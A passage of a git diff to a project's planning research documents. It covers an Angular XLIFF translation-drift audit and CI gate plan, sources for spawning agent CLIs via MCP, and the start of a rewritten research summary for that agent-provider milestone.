i.e. it's a write path not a read-only checker), `schematics/ng-add/index.ts` (confirmed `target.builder = 'ng-extract-i18n-merge:ng-extract-i18n-merge'` overwrite of the `extract-i18n` architect target in `angular.json`); repo health: not archived, pushed 2026-06-06, 221 stars, 14 open issues -- actively maintained. -- `angular.dev/guide/i18n/merge` (official Angular docs, fetched via WebFetch), HIGH confidence: confirmed Angular's first-party i18n merge guide has **no built-in mechanism** for detecting stale/drifted translations when source text changes -- this is an acknowledged gap in core tooling, not something this research overlooked. -- WebSearch (multiple queries, cross-referenced against the primary sources above for MEDIUM->HIGH confidence upgrade): XLIFF 1.2 OASIS `state` attribute vocabulary (`new`, `needs-translation`, `needs-review-translation`, `needs-adaptation`, `needs-l10n`, `translated`, `signed-off`, `final`) -- corroborated directly by the `oasis-open.org` spec reference in search results and independently by the `STATE_INITIAL_XLF_1_2` constant found in `ng-extract-i18n-merge`'s own source. -- WebSearch, MEDIUM confidence (single-source via search snippet, doloc.io's pricing page not independently fetched in full): doloc.io is a paid-tier SaaS (per-source-text pricing, 14-day trial, no stated indefinite free tier) -- sufficient confidence to flag it as "do not adopt as part of this milestone" per the explicit brief constraint, but if a future milestone considers doloc.io seriously, re-verify current pricing directly against `doloc.io/pricing/`. -- `@angular-eslint/template/i18n` rule docs + GitHub issues (WebSearch, MEDIUM confidence, corroborated by direct inspection of this repo's own `eslint.config.js`): confirmed this rule operates purely on `.html` template source (checks for missing `i18n`/`i18n-*` markers) and has no awareness of `.xlf` file contents -- no overlap/duplication risk with a new XLIFF-drift gate. +- Local binaries (strongest evidence, run 2026-07-10): `claude --help` @ 2.1.177; `codex exec --help` + `codex mcp --help` @ 0.142.5; `opencode run --help` @ 1.14.25 โ€” all flags quoted verbatim +- https://code.claude.com/docs/en/cli-reference โ€” full flag list incl. `--agents` fields, `--tools`, `--permission-mode` values (HIGH) +- https://code.claude.com/docs/en/headless โ€” stream-json event contract, `system/init` capabilities, `--bare` auth caveat, resume cwd-scoping, 10MB stdin cap (HIGH) +- https://code.claude.com/docs/en/permissions โ€” MCP rule syntax `mcp__server` / `mcp__server__*` / anchored allow-globs, verbatim (HIGH) +- https://code.claude.com/docs/en/agent-sdk/overview โ€” SDK auth policy quote, bundled-binary note, branding rules (HIGH) +- https://code.claude.com/docs/en/sub-agents โ€” `--agents` JSON full field list, scope precedence (HIGH) +- Codex non-interactive docs: developers.openai.com/codex/noninteractive โ†’ learn.chatgpt.com/docs/non-interactive-mode; config: learn.chatgpt.com/docs/config-file/config-reference (fetched 2026-07-10) โ€” JSONL events, resume, deprecated `--full-auto`, `[mcp_servers]` keys, approval_policy drift (HIGH for exec flags via local binary; MEDIUM for approval_policy set) +- google-gemini/gemini-cli `docs/cli/cli-reference.md`, `docs/cli/headless.md`, `docs/tools/mcp-server.md` @ main, 2026-07-10 (MEDIUM-HIGH; no local binary) +- https://opencode.ai/docs/cli/ + /docs/mcp-servers/ + /docs/agents/ (page-stamped "Jul 10, 2026") + [anomalyco/opencode issue #8463](https://github.com/anomalyco/opencode/issues/8463) / [#23370](https://github.com/anomalyco/opencode/issues/23370) re: bypass-flag naming (HIGH for 1.14.25 via local binary) +- OpenCode ACP: https://opencode.ai/docs/acp/ + https://zed.dev/acp/agent/opencode + https://zed.dev/acp (MEDIUM-HIGH) +- modelcontextprotocol/typescript-sdk tag v1.29.0 `src/server/index.ts` L135/L144/L441/L456-465 โ€” `clientInfo` storage + `getClientVersion()` verified at the exact pinned version (HIGH) +- https://nodejs.org/api/child_process.html โ€” detached/process-group, kill-tree limitation, AbortSignal, killSignal default, windowsHide default false, exit-vs-close, pipe backpressure block, shell warning, maxBuffer scope โ€” all quoted verbatim (HIGH) +- npm registry (`npm view`, 2026-07-10): @anthropic-ai/claude-agent-sdk 0.3.206, @google/gemini-cli 0.50.0, opencode-ai 1.17.18, @openai/codex 0.144.1, tree-kill 1.2.2, execa 9.6.1, split2 4.2.0 (HIGH) --- -*Stack research for: Angular i18n / XLIFF translation-completeness auditing and drift-detection tooling* -*Researched: 2026-07-07* +*Stack research for: v0.9.91 MCP Clients as Providers โ€” agent-CLI spawning, supervision, and stream parsing* +*Researched: 2026-07-10* diff --git a/.planning/research/SUMMARY-v1.2.0-SHOWCASE-I18N.md b/.planning/research/SUMMARY-v1.2.0-SHOWCASE-I18N.md new file mode 100644 index 000000000..3e34cfb0c --- /dev/null +++ b/.planning/research/SUMMARY-v1.2.0-SHOWCASE-I18N.md @@ -0,0 +1,158 @@ +# Project Research Summary + +**Project:** FSB (Full Self-Browsing) +**Milestone:** v1.2.0 Showcase i18n Completeness +**Domain:** Angular i18n translation-completeness audit + XLIFF drift-detection CI gate, on an existing 6-locale Express-prerendered marketing showcase site (reopened maintenance debt, not greenfield i18n) +**Researched:** 2026-07-07 +**Confidence:** HIGH + +## Executive Summary + +This milestone closes a reopened i18n completeness gap on FSB's already-shipped (v0.9.63) 6-locale showcase site, and it does so with an existing, well-suited toolchain rather than new infrastructure. All four researchers converged, independently, on the same core finding and the same fix for it: **the milestone's own framing overstates the resync scope.** PROJECT.md and the original commit `6d3ad363` diff stat describe "247 trans-units" changed, but a trans-unit-`id`-keyed diff of that commit shows only **5 IDs have an actual `` text change** (`agents.meta.description`, `agents.schema.software.description`, `home.meta.description`, `support.faq.q.tools.a`, `support.schema.faq.tools.a`); the other 242 are `` churn from unrelated template edits that `ng extract-i18n` rewrites on every run, regardless of whether any translatable copy changed. This is corroborated by 11+ prior commits in this repo's own history that are 100% pure line-shift noise with zero content change -- this project has a well-established "messages.xlf-only commit = safe" pattern that commit `6d3ad363` broke by burying 5 real edits inside otherwise-routine churn. The corrected framing materially changes scope: the resync phase is a small, bounded translation task (5 known units, plus whatever a full-page audit surfaces beyond that one commit), not a 247-unit re-translation effort. + +The recommended approach is entirely additive to what's already in place: build two new zero-dependency Node scripts in the established `showcase/angular/scripts/verify-*.mjs` style (matching `verify-locale-sync.mjs` and `verify-hreflang.mjs` exactly) -- a temporary/diagnostic full-page audit script and a permanent, CI-wired `verify-translation-drift.mjs` gate that diffs `` text keyed by trans-unit `id` (never whole-file byte/line diff) between `messages.xlf` and each of the 5 translated locale files. No XML parser dependency, no TMS, no `ng-extract-i18n-merge` adoption is required to satisfy this milestone (both are legitimate but explicitly optional future decisions, not defaults). Sequencing matters: the audit must run and the resync must land BEFORE the drift gate is wired hard-fail into CI, or the gate immediately goes red on pre-existing debt it didn't cause. The stats page's translation work must complete before the `lint:i18n` ignore-pattern for `stats/**` is removed, or that gate goes red too. A fully independent, parallelizable fix (WARNING-02: cookie should beat Accept-Language header on repeat visits) lives entirely in Express middleware and has zero shared surface with the XLIFF work. + +The key risks are process risks, not technical risks, and this project has direct, repeated evidence of exactly the failure modes to guard against: (1) a coarse CI gate (whole-file/line-count diff instead of per-`id` ``-text diff) will chronically false-positive on this repo's routine template churn and train engineers to bypass it -- exactly how WARNING-02 itself survived six-plus milestones as unaddressed debt; (2) treating `i18n`-marker presence, `state="translated"` (hardcoded unconditionally by `assemble-xliff-target.mjs`, carries zero real semantic weight), or a green `ng build` as proof of translation currency reproduces the precise blind spot this milestone exists to close -- none of those signals can detect a `` that exists but is stale; (3) orphaned `translations.stats-274.*.json` artifacts under a disjoint ID namespace look like completed stats-page work but are unverified as ever having been merged into the live `messages..xlf` files the build actually consumes. Mitigation for all three is the same: build the drift gate to compare only `` inner-text per trans-unit `id` (ignoring context-group/linenumber metadata), back-test it against this repo's own git history (11 known-clean commits + `6d3ad363`) before merging it, and trace any "already translated" artifact end-to-end into the live XLIFF files before crediting it as done. + +## Key Findings + +### Recommended Stack + +No new runtime dependency, no build-system change, no XLIFF-format migration. The milestone's tooling needs are fully satisfied by plain Node ESM scripts using `node:fs`/`node:path` only, following this repo's own established zero-dependency `verify-*.mjs` precedent. `ng-extract-i18n-merge@3.4.0` is a legitimate, actively-maintained (221 stars, published 2026-06-06) optional future adoption for reducing translator busywork at extraction time, but it rewrites `angular.json`'s `extract-i18n` builder and is explicitly NOT required to satisfy this milestone's CI-gate requirement -- treat it as a separate, later decision. `ngx-i18nsupport`/`xliffmerge` is confirmed dead (last published 2018) and must not be adopted. No commercial TMS (Lokalise, Crowdin, Smartling, Phrase, doloc.io) should be introduced; the milestone brief explicitly requires a no-paid-SaaS solution, and this site's scale (6 locales, ~942 trans-units, ~7 routes) doesn't warrant one per small-team i18n guidance. + +**Core technologies:** +- Angular CLI `ng extract-i18n` (`@angular/build ^20.3.25`), XLIFF 1.2 (OASIS): already in place, producing the files this milestone audits -- no version change, no format migration. +- Custom zero-dependency Node script(s) under `showcase/angular/scripts/`: the CI drift gate and the diagnostic audit tool -- matches the existing `verify-locale-sync.mjs`/`verify-hreflang.mjs` pattern exactly (regex/text parse, `process.exit(0/1)`). +- Node `>=24.0.0`: already the repo-wide `engines.node` floor; no new runtime requirement. +- (Optional, explicitly NOT required) `ng-extract-i18n-merge@3.4.0`: dev-time auto-merge convenience for reducing hand-editing of 5 XLIFF files per template change -- a separate decision from this milestone's CI-gate requirement, deferred. + +### Expected Features + +This is a maintenance-completeness question, not a "how to internationalize" question -- the site already shipped i18n at v0.9.63. The scope splits cleanly into what's genuinely load-bearing for "staying complete" vs. gold-plating for a 6-locale, ~7-route marketing site. + +**Must have (table stakes, this milestone's actual P1 scope):** +- Full-page audit verifying every translatable string on every current showcase route is genuinely translated (not just `i18n`-marked) -- the core deliverable, since no existing tool checks translation content currency. +- Resync of the trans-units with real `` drift (5 confirmed from commit `6d3ad363`, likely more once the full-page audit runs beyond that one commit's blast radius) across all 5 translated locales. +- Stats page brought to full translation coverage, with `--ignore-pattern "src/app/pages/stats/**"` removed from `lint:i18n` only AFTER coverage is verified (not before). +- WARNING-02 fix: cookie-set locale preference beats Accept-Language header on the bare-`/` redirect for returning visitors. +- New CI drift-detection gate: content-diff based (per trans-unit `id`, ``-text only), not structural-presence based; must land on a clean baseline (after audit + resync + stats-page work), not before. + +**Should have (differentiators, P2/near-term follow-up, do not gate the above):** +- Native-speaker/bilingual-fluent QA pass scoped narrowly to the confirmed-drifted units + stats page (not a full 420+-unit re-review) -- v0.9.63 shipped AI-filled XLIFF with no stated native-review layer, so this is a new quality bar, not reapplication of an existing one. +- Transcreation-lens review applied only to hero headlines + primary CTAs (~10-20 strings), where literal translation most commonly fails. +- Targeted manual visual spot-check of German (text expansion) and zh-CN/zh-TW (CJK line-wrap) on the highest-copy-density routes -- a cheap substitute for full visual regression at this site's size. + +**Defer (v1.3+ or only if scale changes):** +- Full automated per-locale visual regression/screenshot-diffing pipeline. +- Migrating the stats page off its ad hoc `translations.stats-274.*.json` mechanism into the main XLIFF pipeline (worth doing eventually, not required this milestone). +- Lightweight translation-freshness/"last synced" reporting. +- Full commercial TMS adoption, re-deriving the supported-locale list, or translating the dashboard page (explicitly out of scope; dashboard is an authenticated app surface, not marketing content). + +### Architecture Approach + +The system is a linear pipeline: component templates carry `i18n` markers -> `ng extract-i18n` produces `messages.xlf` (EN source of truth) -> 5 translated XLIFF files mirror the EN `` at fill-time and carry the `` translation -> `ng build --localize` emits per-locale prerendered HTML -> Express serves it with an Accept-Language/cookie-based locale redirect. Four existing CI gates each check a different, narrow, non-overlapping axis of "looks complete" (locale-registry parity, template-marker presence, EN-source extraction completeness, per-locale target *presence*) -- none of them compares `` content across the EN file and the 5 translated files, which is exactly the gap this milestone closes. The new drift gate is genuinely additive, not duplicative. + +**Major components:** +1. `verify-translation-drift.mjs` (NEW, permanent) -- parses `messages.xlf` and each of the 5 target XLIFFs into `Map`; fails the build if any id's EN `` doesn't byte-match its mirrored `` in any target file. Lives alongside the other `verify-*.mjs` scripts, wired as a new named CI step inserted after the existing "extract-i18n-clean" diff step and before `ng build`. +2. `audit-translation-completeness.mjs` (NEW, temporary/diagnostic) -- one-shot script (or manual walkthrough) to enumerate the true full scope of untranslated/drifted strings across all current showcase routes; NOT the same artifact as the CI gate (different cost/frequency profile -- heavier, infrequent, human-report-producing vs. fast/permanent/CI-blocking) and should be retired or demoted to a manual `npm run audit:i18n` script once its findings are resolved. +3. `accept-language.js` middleware (MODIFIED in place, not replaced) -- WARNING-02 fix is a ~5-line change to the cookie branch (redirect instead of short-circuit), reusing all existing parsing/matching logic unchanged; the existing `req.path !== '/'` loop guard already prevents any redirect loop. +4. Existing, unchanged: `angular.json`'s `i18n.locales` block, `locale-constants.{ts,js}`, `verify-locale-sync.mjs`, `verify-hreflang.mjs`, `DO-NOT-TRANSLATE.md` -- no new locale registry, no new XLIFF format, no new translation-storage layer. + +### Critical Pitfalls + +1. **Treating "247 trans-units changed" as "247 translations need redoing"** -- the single most important corrected fact from this research. Only 5 of 247 changed blocks have real `` text drift; 242 are harmless `` churn. Avoid by deriving the true stale-ID count from an `id`-keyed ``-text diff before any translation work is scoped or estimated, and by re-verifying the count is still accurate the moment any other template PR merges before this milestone starts (the number drifts with any unrelated commit). +2. **`i18n`-marker presence, a green `ng build`, or `state="translated"` treated as proof of a current translation** -- none of the four existing CI gates, nor the XLIFF `state` attribute (hardcoded unconditionally by `assemble-xliff-target.mjs`), detect a `` that exists but is stale relative to a changed ``. Avoid by building the audit to explicitly separate "coverage" (marker + target exists) from "currency" (target still matches current source) as two distinct verdicts per string, and by never accepting "renders without error" or "eslint passes" as evidence of currency. +3. **A coarse (whole-file or line-count) CI gate will chronically false-positive and get bypassed** -- given this repo's demonstrated churn rate (11+ prior pure-line-shift commits), a gate that fires on file-changed rather than ``-text-changed will train engineers to route around it, exactly how WARNING-02 itself went unaddressed for six-plus milestones. Avoid by diffing only `` inner-text per `id` (ignoring context-group/linenumber), and by back-testing the gate against this repo's own git history before wiring it into CI. +4. **Orphaned "already translated" artifacts (`translations.stats-274.*.json`) create false completeness signals** -- these files exist under a disjoint ID namespace (`SHOWCASE_STATS_FSB_*` vs. the live `stats.*` prefix already in `messages.xlf`) and it is unverified whether they were ever merged into the live locale files the build consumes. Avoid by tracing any such artifact end-to-end into the live `messages..xlf` before crediting it as done, and by resolving (merge or delete) rather than leaving it stranded. +5. **Normalization of deviance -- deferred debt in this project has a proven multi-milestone half-life.** WARNING-02 was deferred at v0.9.63 and carried unfixed across six-plus subsequent milestones with no mechanical forcing function; the `dashboard`/`stats` `lint:i18n` ignore-pattern is the same silence mechanism. Avoid by never recording a residual gap as prose-only deferred debt -- any newly-discovered-but-unaddressed item needs an automated check, failing test, or CI gate that makes it visible again on its own, not reliance on someone rereading old milestone notes. + +## Implications for Roadmap + +Based on research, the phase structure should follow the dependency chain all four researchers converged on independently: **audit first (establish true scope) -> resync (close the known + newly-found gap) -> stats-page completion (gate the ignore-pattern flip) -> drift gate (land on a clean baseline) -> WARNING-02 fix (fully independent, any time)**. Building the permanent CI gate before the audit/resync lands means it either fails on day one (pre-existing debt) or is built loose enough to miss real drift, defeating its purpose. + +### Phase 1: Full-Page Translation Completeness Audit +**Rationale:** Must run first to establish the TRUE scope of drift and missing coverage -- the milestone's own corrected framing shows the named commit's "247" figure is not the real number (it's 5, confirmed), and the audit's job is explicitly to find whatever additional drift exists beyond that one commit, since the milestone's stated goal ("every translatable string on every showcase page genuinely translated") is broader than one commit's blast radius. +**Delivers:** A per-page, per-locale, per-trans-unit currency verdict (coverage AND currency, as two distinct checks) across all current showcase routes (lattice, phantom-stream, prometheus, home, mobile nav, stats, plus the original 6 from v0.9.63); a temporary diagnostic script (`audit-translation-completeness.mjs`) that is later retired or demoted, not left running alongside the permanent gate; an explicit trace of the orphaned `translations.stats-274.*.json` artifacts into (or out of) the live `messages..xlf` files. +**Addresses:** Full-page audit target feature; stats-page sub-scope verification. +**Avoids:** Pitfall 1 (247 != real drift count), Pitfall 2 (marker presence != currency), Pitfall 4 (orphaned artifacts). + +### Phase 2: Trans-Unit Resync (Known + Audit-Discovered Drift) +**Rationale:** Must follow the audit directly -- the resync's scope is exactly the audit's findings (5 confirmed units from `6d3ad363` at minimum, plus whatever else surfaces), not a number fixed in advance from the original miscounted commit stat. +**Delivers:** All drifted trans-units resynced across es/de/ja/zh-CN/zh-TW, with `` placeholder alignment and `DO-NOT-TRANSLATE.md` brand/term rules re-verified for each resynced string (several of the known 5 involve substantive marketing-voice rewrites, not mechanical word-swaps, and deserve the same quality bar as the original v0.9.63 translation pass); stats-page translation work completed under whichever mechanism currently applies (existing `stats.*` XLIFF namespace, formalizing the JSON mechanism is explicitly out of scope this milestone). +**Addresses:** Trans-unit resync target feature; stats-page full translation coverage. +**Avoids:** Pitfall 1 (scoping the real, audit-derived count), the security-mistake in PITFALLS.md around placeholder/brand-term preservation during resync. + +### Phase 3: Stats Page Ignore-Pattern Removal +**Rationale:** A small, explicitly separate, ordered change that must come strictly after Phase 2's stats-page translation work is verified complete -- flipping the ignore-pattern before coverage is confirmed either turns CI red immediately or passes falsely. +**Delivers:** `--ignore-pattern "src/app/pages/stats/**"` removed from `lint:i18n` in `showcase/angular/package.json`; dashboard's ignore-pattern remains untouched and is captured as a permanent, intentional architectural boundary (not another "deferred, will revisit" placeholder). +**Addresses:** Stats-page target feature (ignore-pattern half). +**Avoids:** Pitfall 6 (normalization of deviance) for the dashboard-exclusion decision specifically -- document it as permanent, not prose-deferred. + +### Phase 4: New CI Drift-Detection Gate +**Rationale:** Must land only once the tree is drift-free (after Phases 1-3), so it passes on first wiring instead of immediately failing on residual pre-existing debt -- the classic "gate discovers debt it didn't cause" trap this project has direct history of falling into with prior gates. +**Delivers:** `verify-translation-drift.mjs`, following the existing `verify-locale-sync.mjs`/`verify-hreflang.mjs` zero-dependency style; diffs `` text keyed by trans-unit `id` only (never whole-file/line-count); derives the target-locale list dynamically from the existing locale registry (not hardcoded, avoiding a repeat of the prior WARNING-01 mistake); back-tested against this repo's own git history (11+ known-clean churn commits plus `6d3ad363`) before being wired hard-fail into `.github/workflows/ci.yml`'s `website` job, inserted after the existing extract-i18n-clean diff step and before `ng build`. +**Uses:** Node `>=24.0.0`, `node:fs`/`node:path` only -- no new dependency (from STACK.md). +**Implements:** Pattern 1 (ID-keyed source-text diff) from ARCHITECTURE.md. +**Avoids:** Pitfall 3 (unused `state=` attribute as a false signal -- pick a canonical staleness mechanism, e.g. ``-text diff itself, explicitly, not implicitly), Pitfall 5 (coarse-gate false positives and bypass habit). + +### Phase 5: WARNING-02 Cookie-Redirect Fix +**Rationale:** Fully independent of Phases 1-4 -- touches a completely different file (`accept-language.js`) and concern (runtime redirect behavior vs. build-time translation content); zero shared surface with the XLIFF/translation work, so it can be sequenced in parallel or in any order relative to the other phases without blocking or being blocked by them. +**Delivers:** Cookie branch changed from short-circuit (`next()`) to active redirect (`302` to `/{cookieLocale}/`) when the cookie names a valid, non-default supported locale; default-locale case (`cookieVal === 'en'`) still correctly falls through to `next()` (redirecting to `/en/` would 404, since EN's `subPath` is `""`); existing loop-guard (`req.path !== '/'`) preserved unchanged; the one existing test asserting the old short-circuit semantics (`tests/server-accept-language.test.js:81-85`) deliberately flipped to assert the new redirect behavior, called out explicitly as an intentional behavior change. +**Uses:** Existing `pickBestLocale`, `parseCookieHeader`, alias-matching logic -- all reused unchanged. +**Implements:** Pattern 2 (Cookie-Directed Redirect) from ARCHITECTURE.md. +**Avoids:** Anti-Pattern 3 in ARCHITECTURE.md ("just flip a boolean" without the default-locale special case); the UX pitfall of not re-running `verify:hreflang` after a redirect-logic change. + +### Phase Ordering Rationale + +- Audit-then-resync-then-gate is a hard dependency chain, not a stylistic preference: wiring the permanent drift gate before the tree is drift-free guarantees either an immediately-red CI or a gate built loose enough to miss what it's supposed to catch -- this project has already lived through the cost of gates nobody trusts (WARNING-02's own multi-milestone limbo). +- The stats-page ignore-pattern removal is sequenced as its own phase (3) rather than folded into Phase 2's resync work, because it is explicitly a distinct, ordered "flip after verify" step per multiple researchers' independent Suggested Build Order sections -- conflating translation completion with the lint-gate flip risks shipping the flip before coverage is actually confirmed. +- WARNING-02 (Phase 5) is placed last only for narrative completeness; all four research files agree it has no dependency relationship with Phases 1-4 and can be executed in parallel with any of them if the roadmap wants to parallelize work. +- This ordering directly avoids Anti-Pattern 2 from ARCHITECTURE.md (merging the one-time audit and the permanent CI gate into one script) by keeping them as two separate phases with two separate artifacts and lifecycles. + +### Research Flags + +Phases likely needing deeper research during planning (`/gsd-plan-phase --research-phase `): +- **Phase 1 (audit):** the exact audit methodology (static-analysis over templates vs. post-build inspection of prerendered `dist/` HTML per locale) is a design choice ARCHITECTURE.md flags as recommend-static-first but not fully settled; also needs explicit tracing logic for the `translations.stats-274.*.json` -> live-XLIFF verification. +- **Phase 4 (drift gate):** the exact back-testing protocol against this repo's own git history (which commits, what "silent on clean / fires on `6d3ad363`" acceptance criteria look like as a concrete test) should be worked out during phase planning, not assumed obvious. + +Phases with standard/well-documented patterns (lighter research, can largely follow the codebase's own precedent scripts): +- **Phase 2 (resync):** mechanical translation-merge work using existing tools (`assemble-xliff-target.mjs`/`merge-and-assemble-274.mjs`), re-run against current `messages.xlf`, not new tooling. +- **Phase 3 (ignore-pattern removal):** a one-line `package.json` change, gated on Phase 2's completion -- no research needed beyond sequencing discipline. +- **Phase 5 (WARNING-02 fix):** architecture research (Pattern 2) already specifies the exact ~5-line code change, the loop-safety invariant, and the specific test assertion that must flip -- this is close to plan-ready as-is. + +## Confidence Assessment + +| Area | Confidence | Notes | +|------|------------|-------| +| Stack | HIGH | Verified against live repo files (actual `messages.xlf` + 5 locale files parsed with a throwaway script, confirming the 5-drifted/54-orphaned baseline firsthand), the npm registry, and the `ng-extract-i18n-merge` GitHub source directly -- not inferred from documentation alone. | +| Features | HIGH | Grounded in direct codebase inspection (existing scripts, `DO-NOT-TRANSLATE.md`, locale-constants, git log for `6d3ad363`) plus Google's own primary international-SEO documentation (fetched directly) for the table-stakes SEO items; secondary sources (transcreation, TMS-scope-inflation guidance) are MEDIUM confidence industry practice, appropriately used only for the differentiator/anti-feature tiers, not the core P1 scope. | +| Architecture | HIGH | Every integration seam (CI job order, middleware mount point, locale registry, existing test assertions) verified by direct file read against this repo's own source, not inferred from general Angular-i18n patterns. | +| Pitfalls | HIGH | All findings grounded in direct repo inspection: the actual `git show 6d3ad363` diff, 11+ prior commit history establishing the "safe churn" baseline, actual eslint config, actual `assemble-xliff-target.mjs` source. | + +**Overall confidence:** HIGH. All four researchers independently verified the same corrected fact (5 real drifted units, not 247) from the primary source (the actual commit diff and the actual live XLIFF files), which is the strongest available signal that this framing correction is accurate and that the roadmap should scope the resync phase to the true, audit-derived count rather than the milestone's original "247 trans-units" language. + +### Gaps to Address + +- **The true final drift/missing count is not yet fully known.** 5 units are confirmed from commit `6d3ad363` specifically, and 54-per-locale orphaned units (pre-existing, `SHOWCASE_STATS_*`-style, likely stats-page carry-forward debt) are a known baseline -- but the milestone's own goal statement is broader than one commit's blast radius. Handle: Phase 1 (the full-page audit) is explicitly designed to surface the complete true count before Phase 2's resync work is scoped or estimated; do not fix a number in the roadmap/requirements ahead of that audit completing. +- **Whether the orphaned `translations.stats-274.*.json` files were ever merged into the live `messages..xlf` files is unverified.** Handle: Phase 1's audit must explicitly trace this artifact end-to-end before crediting any stats-page translation work as already done. +- **No canonical staleness-tracking mechanism decision has been made yet** (source-hash sidecar file vs. repurposing the XLIFF `state=` attribute vs. relying purely on the drift gate's own commit-to-commit ``-text diff). Handle: PITFALLS.md recommends this be an explicit, written decision made once during the CI drift-gate design phase (Phase 4), not something implicitly decided by whatever the first implementation happens to do -- and if the gate diffs only against the immediately-prior commit rather than a fixed baseline, it may miss already-accumulated-but-uncaught drift that predates the gate's own launch. +- **Whether "orphaned" (id present in a locale file but absent from current `messages.xlf`) should be a hard-fail or warning-only condition in the new gate is a judgment call, not yet settled.** STACK.md recommends warning-only (since the 54-per-locale baseline is pre-existing debt, not newly-introduced drift, and conflating the two would make the gate noisy on day one) -- this should be confirmed as an explicit design decision during Phase 4 planning, not assumed. + +## Sources + +### Primary (HIGH confidence) +- Direct repository inspection across all four research files: `showcase/angular/src/locale/messages.xlf` + `messages.{es,de,ja,zh-CN,zh-TW}.xlf` (parsed directly to confirm 5-drifted/54-orphaned baseline), `showcase/angular/package.json`, `showcase/angular/angular.json`, `showcase/angular/scripts/verify-locale-sync.mjs`, `showcase/angular/scripts/verify-hreflang.mjs`, `showcase/angular/scripts/assemble-xliff-target.mjs`, `showcase/angular/eslint.config.js`, `showcase/angular/src/locale/DO-NOT-TRANSLATE.md`, `showcase/server/server.js`, `showcase/server/src/middleware/accept-language.js`, `tests/server-accept-language.test.js`, `.github/workflows/ci.yml`, `.planning/PROJECT.md`, `.planning/phases/v0.9.63-INTEGRATION-CHECK.md`, git commit `6d3ad363619a731336ffb5f4480a92346339201a` (full diff, both raw git-stat and id-keyed comparison), `git log --oneline -- showcase/angular/src/locale/messages.xlf` (11+ prior pure-churn commits). +- npm registry API (`registry.npmjs.org`) -- `ng-extract-i18n-merge@3.4.0` (published 2026-06-06), `ngx-i18nsupport@0.17.1` (confirmed dead, last published 2018). +- GitHub repo metadata + raw source, `daniel-sc/ng-extract-i18n-merge` -- confirmed the exact drift-marking mechanic, actively maintained, not archived. +- `angular.dev/guide/i18n/merge` (official Angular docs, fetched directly) -- confirmed Angular's first-party i18n tooling has no built-in stale-translation detection mechanism. +- [Google Search Central -- Managing Multi-Regional and Multilingual Sites](https://developers.google.com/search/docs/specialty/international/managing-multi-regional-sites) -- primary source, fetched directly; basis for the no-IP-geolocation, canonical/hreflang guidance. +- XLIFF 1.2 OASIS specification (`urn:oasis:names:tc:xliff:document:1.2`) -- `state`/`state-qualifier` attribute vocabulary and ``/`` mirroring convention. + +### Secondary (MEDIUM confidence) +- Industry i18n-practice sources (Weglot, SimpleLocalize, Smashing Magazine, Smartling, Translated, Locize, Cobbai, i18nagent.ai) -- used to corroborate hreflang error-rate norms, locale-detection cookie/header precedence conventions, transcreation-vs-translation distinctions, small-team TMS-scope-inflation guidance, and text-expansion percentage figures for German/CJK. Appropriately weighted to inform only the differentiator/anti-feature tiers of FEATURES.md, not the core table-stakes scope. +- doloc.io pricing/tier claim (single search-snippet source, not independently fetched in full) -- sufficient to flag as "do not adopt this milestone" per the explicit no-paid-SaaS brief constraint; re-verify directly if a future milestone reconsiders it. +- General industry TMS "source drift"/"fuzzy-match invalidation" convention claim (Phrase, Lokalise, Crowdin) -- offered as context for why the recommended architecture pattern is an established approach, not independently verified against those vendors' specific docs in this research session. + +--- +*Research completed: 2026-07-07* +*Ready for roadmap: yes* diff --git a/.planning/research/SUMMARY.md b/.planning/research/SUMMARY.md index 3e34cfb0c..964a4f284 100644 --- a/.planning/research/SUMMARY.md +++ b/.planning/research/SUMMARY.md @@ -1,158 +1,225 @@ # Project Research Summary -**Project:** FSB (Full Self-Browsing) -**Milestone:** v1.2.0 Showcase i18n Completeness -**Domain:** Angular i18n translation-completeness audit + XLIFF drift-detection CI gate, on an existing 6-locale Express-prerendered marketing showcase site (reopened maintenance debt, not greenfield i18n) -**Researched:** 2026-07-07 +**Project:** FSB v0.9.91 โ€” MCP Clients as Providers +**Domain:** Brownfield extension of an MV3 Chrome extension + Node MCP daemon to spawn/supervise agent CLIs (Claude Code first) as first-class side-panel providers driving the live browser via FSB's own MCP tools +**Researched:** 2026-07-10 **Confidence:** HIGH ## Executive Summary -This milestone closes a reopened i18n completeness gap on FSB's already-shipped (v0.9.63) 6-locale showcase site, and it does so with an existing, well-suited toolchain rather than new infrastructure. All four researchers converged, independently, on the same core finding and the same fix for it: **the milestone's own framing overstates the resync scope.** PROJECT.md and the original commit `6d3ad363` diff stat describe "247 trans-units" changed, but a trans-unit-`id`-keyed diff of that commit shows only **5 IDs have an actual `` text change** (`agents.meta.description`, `agents.schema.software.description`, `home.meta.description`, `support.faq.q.tools.a`, `support.schema.faq.tools.a`); the other 242 are `` churn from unrelated template edits that `ng extract-i18n` rewrites on every run, regardless of whether any translatable copy changed. This is corroborated by 11+ prior commits in this repo's own history that are 100% pure line-shift noise with zero content change -- this project has a well-established "messages.xlf-only commit = safe" pattern that commit `6d3ad363` broke by burying 5 real edits inside otherwise-routine churn. The corrected framing materially changes scope: the resync phase is a small, bounded translation task (5 known units, plus whatever a full-page audit surfaces beyond that one commit), not a 247-unit re-translation effort. +This is a brownfield integration milestone, not a greenfield build. All four research dimensions converge on a small, additive extension of proven FSB systems: the `platforms.ts` 21-client registry gains an identity/detection layer; the ws://7225 bridge gains a new reverse-request channel (`ext:*` frames, additive per INV-01); the `fsb-mcp-server serve` daemon gains a `SpawnSupervisor` module that shells to the user's installed agent CLI; and `EXECUTION_MODES` gains a fifth `delegated` entry. Zero new runtime dependencies โ€” Node built-ins (`child_process`, `readline`, `fs`, `os`) plus the already-pinned `@modelcontextprotocol/sdk ^1.29` (which already exposes `server.getClientVersion()` โ€” the seam is verified). The spawned CLI connects back as a normal FSB MCP client, reusing agent identity, tab ownership (v0.9.60), and visual-session badges (v0.9.36/62) unchanged โ€” that pipeline reuse is the whole point. -The recommended approach is entirely additive to what's already in place: build two new zero-dependency Node scripts in the established `showcase/angular/scripts/verify-*.mjs` style (matching `verify-locale-sync.mjs` and `verify-hreflang.mjs` exactly) -- a temporary/diagnostic full-page audit script and a permanent, CI-wired `verify-translation-drift.mjs` gate that diffs `` text keyed by trans-unit `id` (never whole-file byte/line diff) between `messages.xlf` and each of the 5 translated locale files. No XML parser dependency, no TMS, no `ng-extract-i18n-merge` adoption is required to satisfy this milestone (both are legitimate but explicitly optional future decisions, not defaults). Sequencing matters: the audit must run and the resync must land BEFORE the drift gate is wired hard-fail into CI, or the gate immediately goes red on pre-existing debt it didn't cause. The stats page's translation work must complete before the `lint:i18n` ignore-pattern for `stats/**` is removed, or that gate goes red too. A fully independent, parallelizable fix (WARNING-02: cookie should beat Accept-Language header on repeat visits) lives entirely in 